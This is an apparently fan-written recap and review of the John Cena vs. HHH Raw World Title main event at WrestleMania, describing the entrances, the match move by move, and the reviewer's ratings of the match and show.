We see some clips from the Wrestlemania press conference.  Cena and HHH cut basic promos about being champion post show.

No real backstory here.  Cena was champion and HHH won some worthless tournament.
Raw World Title: John Cena vs. HHH

HHH comes out looking like Conan’s mostly metrosexual brother. He’s wearing a fur pelt and a crown and a breastplate. He rises from a throne to play up the King of Kings bit. He looks absurd but at least after a few seconds we switch over to All About The Game which is a better song I think.

We then see…a newsreel about the Great Depression? Yes indeed, as we hear about the rise of Capone and organized crime in Chicago. The stage rises again as a 1930s era car comes out and fake gangsters armed with Tommy guns ride out. As a geek note, the one on camera side is clearly none other than CM Punk! Total mark out moment for me there as the gangsters surround the ring.

Even the fans are confused here. Cena’s music finally hits and he is booed out of the freaking building. He comes out in a black suit and fedora which would have been awesome had it not been for him wearing shorts and making the trench coat look like a bathrobe. He fires some blanks (honey it happens to a lot of guys I swear) and throws off the coat to reveal his t-shirt and the main event black shorts. We get the big match introductions which will never get old.

HHH is introduced as the Cerebral Assassin, the King of Kings, the Game, the 10 Time Champion.  Cena is introduced as the Dr. of Thuganomics.  They even get checked for weapons.  That’s not something you see anymore.  After a long staredown process they lock up and HHH grabs a headlock into a hammerlock.  Technical stuff to start here.

Back to the arm stuff as we’re in a feeling out process here.  The fans are all over Cena with a huge F YOU CENA chant.  Cena tries an FU early but HHH reverses and DRILLS Cena with a right hand to take him down.  Cena has to reset a bit as a HHH chant starts.  The Game throws him to the floor as they definitely haven’t gotten going full speed yet.

HHH plays to the crowd but Cena sneaks up on him and hammers away.  Back drop gets two.  Fisherman’s Suplex with a floatover gets two also and we hit the chinlock.  YOU CAN’T WRESTLE chant starts up which is just hilarious at this point.  Cena throws him into the corner and HHH goes over the top and out to the floor.  Out onto the aisle and HHH wants a Piledriver but is backdropped onto the steel instead.

Cena’s main offense has been the right hand and I can’t blame him at all for that.  HHH fights back and chokes away.  Out to the floor for a bit and Cena’s shoulder goes into the steps.  Now why would HHH let the referee count?  It’s giving Cena a chance to breathe and he won’t win the title that way.  I guess you could argue it lets HHH rest.

Back in and HHH hits a suplex and Flair knee drop.  Facebuster gets a big pop and a clothesline puts Cena down for two.  HHH is covering after almost every move or two that he does which is a very nice thing for him to do.  It makes him seem like he wants to win every time which is the idea.  They slug it out but another neckbreaker takes Cena down for two.

Modified chinlock/neck vice goes on and Cena is in trouble.  Cena fights up but walks into a sleeper.  He hasn’t had a steady string of offense all match other than a brief one about 8 minutes ago.  John fights out and takes HHH’s head off with a clothesline and both guys are down for a bit.  Powerslam puts HHH down and Cena is in control.

Protoplex sets up the 5 Knuckle Shuffle.  The shot of Cena looking at the crowd before he goes for it is great.  HHH gets up and catches him in a spinebuster for a long two.  Nice move there.  Right back to the sleeper but Cena reverses quickly into the Shuffle which hits this time.  He pumps the shoes and grabs the STFU out of nowhere.

In a nice show of strength though HHH crawls to the ropes and we’re not done yet.  FU is reversed and the referee is crushed in the corner.  HHH throws a low blow and hits both guys.  Crotch chop to Cena as we have more DX foreshadowing.  There’s the sledgehammer but Cena blocks it and hammers away (no pun intended) until a shot to the head takes him down.  THAT somehow gets two.

Pedigree is reversed and here comes Cena.  FU hits and gets two which results in an eruption from the crowd.  Dang good match here so far.  Cena has no idea what else to do as both of his finishers have more or less failed.  A splash of all things misses but the Pedigree is countered into another STFU and the referee checks the arm.  HHH keeps it up (Stephanie says yay!) but then after almost a minute in the hold HHH taps and Cena keeps the title.

Rating: A-. Great match here and definitely Mania main event worthy, but the problem comes down to this doesn’t feel epic.  It’s a great match but at the same time it looks like just another title defense for Cena.  This would have been a lot better if HHH had come in with the title and Cena had taken it here, but at the same time this worked fine.

Overall Rating: B. If there was a rating between B- and B this would get it.  The whole thing is good overall but there are some spots that make you shake your head.  For instance the Booker match, the pillow fight thing, the World Heavyweight Championship match, the MITB being so short etc.  It’s a good shot, but it’s nothing I’d want to see over and over.  It’s good for a rainy day but that’s about it.  Recommended but not incredibly highly.